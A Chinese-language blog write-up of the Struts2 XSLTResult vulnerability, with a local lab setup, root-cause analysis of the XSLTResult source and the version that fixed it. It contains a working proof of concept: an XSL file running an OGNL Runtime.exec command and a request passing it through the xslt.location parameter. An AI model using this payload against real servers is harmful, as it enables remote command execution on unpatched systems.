前言
经典 Java 软件漏洞 struts 系列,准备一个个看过去。
前面那些都是个什么东西……
环境搭建
2.3.15.1 版本的 struts2 + Tomcat 9。
修改 struts.xml,加上 xslt 解析:
<result name="success" type="xslt">
<param name="stylesheetLocation">/</param>
</result>
stylesheetLocation 的值随意。
漏洞利用
在 web目录(webapp)下新建一个 upload 目录,存放用于攻击的文件,文件名随意:
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0" xmlns:ognl="ognl.Ognl">
<xsl:template match="/">
<html>
<body>
<h2>hacked by kxlzx</h2>
<h2>http://www.inbreak.net</h2>
<exp>
<xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/>
</exp>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
然后访问:
http://localhost:8080/login.action?xslt.location=/upload/poc.Twings
即可命令执行。
漏洞分析
看起来就是个类似 XXE 的漏洞,struts2 解析了 XML 文件,然后解析标签属性的时候执行了里面的 OGNL 表达式。这个漏洞的主要问题就在于文件路径可以被用户控制,调试 XSLTResult 类,可以看到:
String location = getStylesheetLocation();
...
if (location != null) {
templates = getTemplates(location);
transformer = templates.newTransformer();
}
文件路径本来来自配置文件,但是在其不为空的情况下,会调用 getTemplates 函数:
protected Templates getTemplates(String path) throws TransformerException, IOException {
String pathFromRequest = ServletActionContext.getRequest().getParameter("xslt.location");
if (pathFromRequest != null)
path = pathFromRequest;
...
}
可以看到,客户端可以通过提交一个 xslt.location 参数直接控制要解析的 XML 文件路径。
漏洞修复
2.3.28.1 版本的修复,删掉了 getTemplates 函数中获取 xslt.location 参数的代码。
参考文章:
https://yanbin.blog/struts2-xsltresult-details/
http://itindex.net/detail/38232-struts2-%E6%A1%86%E6%9E%B6-xsltresult
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!